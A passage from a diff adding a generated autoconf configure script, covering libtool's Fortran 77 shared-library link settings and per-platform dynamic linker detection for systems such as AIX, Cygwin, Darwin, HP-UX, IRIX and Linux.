archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var_F77=no + export_dynamic_flag_spec_F77='${wl}-Bexport' + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + ;; + + solaris*) + no_undefined_flag_F77=' -z text' + if test "$GCC" = yes; then + archive_cmds_F77='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds_F77='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp' + else + archive_cmds_F77='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + archive_expsym_cmds_F77='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp' + fi + hardcode_libdir_flag_spec_F77='-R$libdir' + hardcode_shlibpath_var_F77=no + case $host_os in + solaris2.[0-5] | solaris2.[0-5].*) ;; + *) # Supported since Solaris 2.6 (maybe 2.5.1?) + whole_archive_flag_spec_F77='-z allextract$convenience -z defaultextract' ;; + esac + link_all_deplibs_F77=yes + ;; + + sunos4*) + if test "x$host_vendor" = xsequent; then + # Use $CC to link under sequent, because it throws in some extra .o + # files that make .init and .fini sections work. + archive_cmds_F77='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds_F77='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags' + fi + hardcode_libdir_flag_spec_F77='-L$libdir' + hardcode_direct_F77=yes + hardcode_minus_L_F77=yes + hardcode_shlibpath_var_F77=no + ;; + + sysv4) + case $host_vendor in + sni) + archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_F77=yes # is this really true??? + ;; + siemens) + ## LD is ld it makes a PLAMLIB + ## CC just makes a GrossModule. + archive_cmds_F77='$LD -G -o $lib $libobjs $deplibs $linker_flags' + reload_cmds_F77='$CC -r -o $output$reload_objs' + hardcode_direct_F77=no + ;; + motorola) + archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_F77=no #Motorola manual says yes, but my tests say they lie + ;; + esac + runpath_var='LD_RUN_PATH' + hardcode_shlibpath_var_F77=no + ;; + + sysv4.3*) + archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var_F77=no + export_dynamic_flag_spec_F77='-Bexport' + ;; + + sysv4*MP*) + if test -d /usr/nec; then + archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var_F77=no + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + ld_shlibs_F77=yes + fi + ;; + + sysv4.2uw2*) + archive_cmds_F77='$LD -G -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_F77=yes + hardcode_minus_L_F77=no + hardcode_shlibpath_var_F77=no + hardcode_runpath_var=yes + runpath_var=LD_RUN_PATH + ;; + + sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[78]* | unixware7*) + no_undefined_flag_F77='${wl}-z ${wl}text' + if test "$GCC" = yes; then + archive_cmds_F77='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds_F77='$CC -G ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + fi + runpath_var='LD_RUN_PATH' + hardcode_shlibpath_var_F77=no + ;; + + sysv5*) + no_undefined_flag_F77=' -z text' + # $CC -shared without GNU ld will not create a library from C++ + # object files and a static libstdc++, better avoid it by now + archive_cmds_F77='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + archive_expsym_cmds_F77='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp' + hardcode_libdir_flag_spec_F77= + hardcode_shlibpath_var_F77=no + runpath_var='LD_RUN_PATH' + ;; + + uts4*) + archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec_F77='-L$libdir' + hardcode_shlibpath_var_F77=no + ;; + + *) + ld_shlibs_F77=no + ;; + esac + fi + +{ echo "$as_me:$LINENO: result: $ld_shlibs_F77" >&5 +echo "${ECHO_T}$ld_shlibs_F77" >&6; } +test "$ld_shlibs_F77" = no && can_build_shared=no + +variables_saved_for_relink="PATH $shlibpath_var $runpath_var" +if test "$GCC" = yes; then + variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" +fi + +# +# Do we need to explicitly link libc? +# +case "x$archive_cmds_need_lc_F77" in +x|xyes) + # Assume -lc should be added + archive_cmds_need_lc_F77=yes + + if test "$enable_shared" = yes && test "$GCC" = yes; then + case $archive_cmds_F77 in + *'~'*) + # FIXME: we may have to deal with multi-command sequences. + ;; + '$CC '*) + # Test whether the compiler implicitly links with -lc since on some + # systems, -lgcc has to come before -lc. If gcc already passes -lc + # to ld, don't add -lc before -lgcc. + { echo "$as_me:$LINENO: checking whether -lc should be explicitly linked in" >&5 +echo $ECHO_N "checking whether -lc should be explicitly linked in... $ECHO_C" >&6; } + $rm conftest* + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } 2>conftest.err; then + soname=conftest + lib=conftest + libobjs=conftest.$ac_objext + deplibs= + wl=$lt_prog_compiler_wl_F77 + compiler_flags=-v + linker_flags=-v + verstring= + output_objdir=. + libname=conftest + lt_save_allow_undefined_flag=$allow_undefined_flag_F77 + allow_undefined_flag_F77= + if { (eval echo "$as_me:$LINENO: \"$archive_cmds_F77 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\"") >&5 + (eval $archive_cmds_F77 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } + then + archive_cmds_need_lc_F77=no + else + archive_cmds_need_lc_F77=yes + fi + allow_undefined_flag_F77=$lt_save_allow_undefined_flag + else + cat conftest.err 1>&5 + fi + $rm conftest* + { echo "$as_me:$LINENO: result: $archive_cmds_need_lc_F77" >&5 +echo "${ECHO_T}$archive_cmds_need_lc_F77" >&6; } + ;; + esac + fi + ;; +esac + +{ echo "$as_me:$LINENO: checking dynamic linker characteristics" >&5 +echo $ECHO_N "checking dynamic linker characteristics... $ECHO_C" >&6; } +library_names_spec= +libname_spec='lib$name' +soname_spec= +shrext_cmds=".so" +postinstall_cmds= +postuninstall_cmds= +finish_cmds= +finish_eval= +shlibpath_var= +shlibpath_overrides_runpath=unknown +version_type=none +dynamic_linker="$host_os ld.so" +sys_lib_dlsearch_path_spec="/lib /usr/lib" +if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then + # if the path contains ";" then we assume it to be the separator + # otherwise default to the standard path separator (i.e. ":") - it is + # assumed that no part of a normal pathname contains ";" but that should + # okay in the real world where ";" in dirpaths is itself problematic. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi +else + sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" +fi +need_lib_prefix=unknown +hardcode_into_libs=no + +# when you set need_version to no, make sure it does not cause -set_version +# flags to be left without arguments +need_version=unknown + +case $host_os in +aix3*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a' + shlibpath_var=LIBPATH + + # AIX 3 has no versioning support, so we append a major version to the name. + soname_spec='${libname}${release}${shared_ext}$major' + ;; + +aix4* | aix5*) + version_type=linux + need_lib_prefix=no + need_version=no + hardcode_into_libs=yes + if test "$host_cpu" = ia64; then + # AIX 5 supports IA64 + library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + else + # With GCC up to 2.95.x, collect2 would create an import file + # for dependence libraries. The import file would start with + # the line `#! .'. This would cause the generated library to + # depend on `.', always an invalid library. This was fixed in + # development snapshots of GCC prior to 3.0. + case $host_os in + aix4 | aix4.[01] | aix4.[01].*) + if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)' + echo ' yes ' + echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then + : + else + can_build_shared=no + fi + ;; + esac + # AIX (on Power*) has no versioning support, so currently we can not hardcode correct + # soname into executable. Probably we can add versioning support to + # collect2, so additional links can be useful in future. + if test "$aix_use_runtimelinking" = yes; then + # If using run time linking (on AIX 4.2 or later) use lib.so + # instead of lib.a to let people know that these are not + # typical AIX shared libraries. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + else + # We preserve .a as extension for shared libraries through AIX4.2 + # and later when we are not doing run time linking. + library_names_spec='${libname}${release}.a $libname.a' + soname_spec='${libname}${release}${shared_ext}$major' + fi + shlibpath_var=LIBPATH + fi + ;; + +amigaos*) + library_names_spec='$libname.ixlibrary $libname.a' + # Create ${libname}_ixlibrary.a entries in /sys/libs. + finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done' + ;; + +beos*) + library_names_spec='${libname}${shared_ext}' + dynamic_linker="$host_os ld.so" + shlibpath_var=LIBRARY_PATH + ;; + +bsdi[45]*) + version_type=linux + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib" + sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib" + # the default ld.so.conf also contains /usr/contrib/lib and + # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow + # libtool to hard-code these into programs + ;; + +cygwin* | mingw* | pw32*) + version_type=windows + shrext_cmds=".dll" + need_version=no + need_lib_prefix=no + + case $GCC,$host_os in + yes,cygwin* | yes,mingw* | yes,pw32*) + library_names_spec='$libname.dll.a' + # DLL is installed to $(libdir)/../bin by postinstall_cmds + postinstall_cmds='base_file=`basename \${file}`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $rm \$dlpath' + shlibpath_overrides_runpath=yes + + case $host_os in + cygwin*) + # Cygwin DLLs use 'cyg' prefix rather than 'lib' + soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib" + ;; + mingw*) + # MinGW DLLs use traditional 'lib' prefix + soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then + # It is most probably a Windows format PATH printed by + # mingw gcc, but we are running on Cygwin. Gcc prints its search + # path with ; separators, and with drive letters. We can handle the + # drive letters (cygwin fileutils understands them), so leave them, + # especially as we might pass files found there to a mingw objdump, + # which wouldn't understand a cygwinified path. Ahh. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi + ;; + pw32*) + # pw32 DLLs use 'pw' prefix rather than 'lib' + library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/./-/g'`${versuffix}${shared_ext}' + ;; + esac + ;; + + *) + library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib' + ;; + esac + dynamic_linker='Win32 ld.exe' + # FIXME: first we should search . and the directory the executable is in + shlibpath_var=PATH + ;; + +darwin* | rhapsody*) + dynamic_linker="$host_os dyld" + version_type=darwin + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext' + soname_spec='${libname}${release}${major}$shared_ext' + shlibpath_overrides_runpath=yes + shlibpath_var=DYLD_LIBRARY_PATH + shrext_cmds='$(test .$module = .yes && echo .so || echo .dylib)' + # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same. + if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"` + else + sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib' + fi + sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib' + ;; + +dgux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +freebsd1*) + dynamic_linker=no + ;; + +kfreebsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +freebsd*) + objformat=`test -x /usr/bin/objformat && /usr/bin/objformat || echo aout` + version_type=freebsd-$objformat + case $version_type in + freebsd-elf*) + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' + need_version=no + need_lib_prefix=no + ;; + freebsd-*) + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix' + need_version=yes + ;; + esac + shlibpath_var=LD_LIBRARY_PATH + case $host_os in + freebsd2*) + shlibpath_overrides_runpath=yes + ;; + freebsd3.01* | freebsdelf3.01*) + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + *) # from 3.2 on + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + esac + ;; + +gnu*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + hardcode_into_libs=yes + ;; + +hpux9* | hpux10* | hpux11*) + # Give a soname corresponding to the major version so that dld.sl refuses to + # link against other versions. + version_type=sunos + need_lib_prefix=no + need_version=no + case "$host_cpu" in + ia64*) + shrext_cmds='.so' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.so" + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + if test "X$HPUX_IA64_MODE" = X32; then + sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib" + else + sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64" + fi + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + hppa*64*) + shrext_cmds='.sl' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.sl" + shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64" + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + *) + shrext_cmds='.sl' + dynamic_linker="$host_os dld.sl" + shlibpath_var=SHLIB_PATH + shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + ;; + esac + # HP-UX runs *really* slowly unless shared libraries are mode 555. + postinstall_cmds='chmod 555 $lib' + ;; + +irix5* | irix6* | nonstopux*) + case $host_os in + nonstopux*) version_type=nonstopux ;; + *) + if test "$lt_cv_prog_gnu_ld" = yes; then + version_type=linux + else + version_type=irix + fi ;; + esac + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}' + case $host_os in + irix5* | nonstopux*) + libsuff= shlibsuff= + ;; + *) + case $LD in # libtool.m4 will add one of these switches to LD + *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") + libsuff= shlibsuff= libmagic=32-bit;; + *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") + libsuff=32 shlibsuff=N32 libmagic=N32;; + *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") + libsuff=64 shlibsuff=64 libmagic=64-bit;; + *) libsuff= shlibsuff= libmagic=never-match;; + esac + ;; + esac + shlibpath_var=LD_LIBRARY${shlibsuff}_PATH + shlibpath_overrides_runpath=no + sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}" + sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}" + hardcode_into_libs=yes + ;; + +# No shared lib support for Linux oldld, aout, or coff. +linux*oldld* | linux*aout* | linux*coff*) + dynamic_linker=no + ;; + +# This must be Linux ELF. +linux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. + hardcode_into_libs=yes + + # Append ld.so.conf contents to the search path + if test -f /etc/ld.so.conf; then + lt_ld_extra=`$SED -e 's/:,\t/ /g;s/=^=*$//;s/=^= * / /g' /etc/ld.so.conf | tr '\n' ' '` + sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra" + fi + + # We used to test for /lib/ld.so.1 and disable shared libraries on + # powerpc, because MkLinux only supported shared libraries with the + # GNU dynamic linker. Since this was broken with cross compilers, + # most powerpc-linux boxes support dynamic linking these days and + # people can always --disable-shared, the test was removed, and we + # assume the GNU/Linux dynamic linker is in use. + dynamic_linker='GNU/Linux ld.so' + ;; + +knetbsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +netbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + dynamic_linker='NetBSD (a.out) ld.so' + else + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + dynamic_linker='NetBSD ld.elf_so' + fi + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + +newsos6) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +nto-qnx*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +openbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + shlibpath_var=LD_LIBRARY_PATH + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + case $host_os in + openbsd2.[89] | openbsd2.[89].*) + shlibpath_overrides_runpath=no + ;; + *) + shlibpath_overrides_runpath=yes + ;; + esac + else + shlibpath_overrides_runpath=yes + fi + ;; + +os2*) + libname_spec='$name' + shrext_cmds=".dll" + need_lib_prefix=no + library_names_spec='$libname${shared_ext} $libname.a' + dynamic_linker='OS/2 ld.exe' + shlibpath_var=LIBPATH + ;; + +osf3* | osf4* | osf5*) + version_type=osf + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib" + sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec" + ;; + +sco3.2v5*) + version_type=osf + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + ;; + +solaris*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + # ldd complains unless libraries are executable + postinstall_cmds='chmod +x $lib' + ;; + +sunos4*) + version_type=sunos + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + if test "$with_gnu_ld" = yes; then + need_lib_prefix=no + fi + need_version=yes + ;; + +sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + case $host_vendor in + sni) + shlibpath_overrides_runpath=no + need_lib_prefix=no + export_dynamic_flag_spec='${wl}-Blargedynsym' + runpath_var=LD_RUN_PATH + ;; + siemens) + need_lib_prefix=no + ;; + motorola) + need_lib_prefix=no + need_version=no + shlibpath_overrides_runpath=no + sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib' + ;; + esac + ;; + +sysv4*MP*) + if test -d /usr/nec ;then + version_type=linux + library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}' + soname_spec='$libname${shared_ext}.$major' + shlibpath_var=LD_LIBRARY_PATH + fi + ;; + +uts4*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +*) + dynamic_linker=no + ;; +esac +{ echo "$as_me:$LINENO: result: $dynamic_linker" >&5 +echo "${ECHO_T}$dynamic_linker" >&6; } +test "$dynamic_linker" = no && can_build_shared=no + +{ echo "$as_me:$LINENO: checking how to hardcode library paths into programs" >&5 +echo $ECHO_N "checking how to hardcode library paths into programs... $ECHO_C" >&6; } +hardcode_action_F77= +if test -n "$hardcode_libdir_flag_spec_F77" || \ + test -n "$runpath_var_F77" || \ + test "X$hardcode_automatic_F77" = "Xyes" ; then + + # We can hardcode non-existant directories. + if test "$hardcode_direct_F77" != no && + # If the only mechanism to avoid hardcoding is shlibpath_var, we + # have to relink, otherwise we might link with an installed library + # when we should be linking with a yet-to-be-installed one + ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, F77)" != no && + test "$hardcode_minus_L_F77" != no; then + # Linking always hardcodes the temporary library directory. + hardcode_action_F77=relink + else + # We can link without hardcoding, and we can hardcode nonexisting dirs. + hardcode_action_F77=immediate + fi +else + # We cannot hardcode anything, or else we can only hardcode existing + # directories. + hardcode_action_F77=unsupported +fi +{ echo "$as_me:$LINENO: result: $hardcode_action_F77" >&5 +echo "${ECHO_T}$hardcode_action_F77" >&6; } + +if test "$hardcode_action_F77" = relink; then + # Fast installation is not supported + enable_fast_install=no +elif test "$shlibpath_overrides_runpath" = yes || + test "$enable_shared" = no; then + # Fast installation is not necessary + enable_fast_install=needless +fi + +striplib= +old_striplib= +{ echo "$as_me:$LINENO: checking whether stripping libraries is possible" >&5 +echo $ECHO_N "checking whether stripping libraries is possible... $ECHO_C" >&6; } +if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then + test -z "$old_striplib" && old_striplib="$STRIP --strip-debug" + test -z "$striplib" && striplib="$STRIP --strip-unneeded" + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } +else +# FIXME - insert some real tests, host_os isn't really good enough + case $host_os in + darwin*) + if test -n "$STRIP" ; then + striplib="$STRIP -x" + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } + else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + ;; + *) + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } + ;; + esac +fi + + + +# The else clause should only fire when bootstrapping the +# libtool distribution, otherwise you forgot to ship ltmain.sh +# with your package, and you will get complaints that there are +# no rules to generate ltmain.sh. +if test -f "$ltmain"; then + # See if we are running on zsh, and set the options which allow our commands through + # without removal of \ escapes. + if test -n "${ZSH_VERSION+set}" ; then + setopt NO_GLOB_SUBST + fi + # Now quote all the things that may contain metacharacters while being + # careful not to overquote the AC_SUBSTed values. We take copies of the + # variables and quote the copies for generation of the libtool script. + for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC NM \ + SED SHELL STRIP \ + libname_spec library_names_spec soname_spec extract_expsyms_cmds \ + old_striplib striplib file_magic_cmd finish_cmds finish_eval \ + deplibs_check_method reload_flag reload_cmds need_locks \ + lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \ + lt_cv_sys_global_symbol_to_c_name_address \ + sys_lib_search_path_spec sys_lib_dlsearch_path_spec \ + old_postinstall_cmds old_postuninstall_cmds \ + compiler_F77 \ + CC_F77 \ + LD_F77 \ + lt_prog_compiler_wl_F77 \ + lt_prog_compiler_pic_F77 \ + lt_prog_compiler_static_F77 \ + lt_prog_compiler_no_builtin_flag_F77 \ + export_dynamic_flag_spec_F77 \ + thread_safe_flag_spec_F77 \ + whole_archive_flag_spec_F77 \ + enable_shared_with_static_runtimes_F77 \ + old_archive_cmds_F77 \ + old_archive_from_new_cmds_F77 \ + predep_objects_F77 \ + postdep_objects_F77 \ + predeps_F77 \ + postdeps_F77 \ + compiler_lib_search_path_F77 \ + archive_cmds_F77 \ + 